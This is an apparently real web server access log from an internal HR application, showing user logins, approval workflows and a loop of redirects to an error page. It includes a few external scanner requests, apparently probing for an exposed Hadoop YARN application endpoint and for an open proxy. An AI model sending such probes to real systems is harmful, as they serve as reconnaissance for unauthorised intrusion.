[04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:12:03:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:12:03:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:12:19:58 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [04/Dec/2025:12:19:58 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:13:00:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:13:00:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:13:00:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:13:00:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:13:02:07 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:13:02:07 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.40.45 - - [04/Dec/2025:13:02:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [04/Dec/2025:13:02:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:24 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:02:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.45 - - [04/Dec/2025:13:02:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.45 - - [04/Dec/2025:13:02:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16576 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16576 192.168.40.45 - - [04/Dec/2025:13:02:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4993 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4993 192.168.40.45 - - [04/Dec/2025:13:02:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.40.45 - - [04/Dec/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 83871 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 83871 192.168.11.153 - - [04/Dec/2025:13:02:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [04/Dec/2025:13:02:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 192.168.40.45 - - [04/Dec/2025:13:02:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132726%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132726&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132726%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132726&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [04/Dec/2025:13:03:00 +0800] "GET 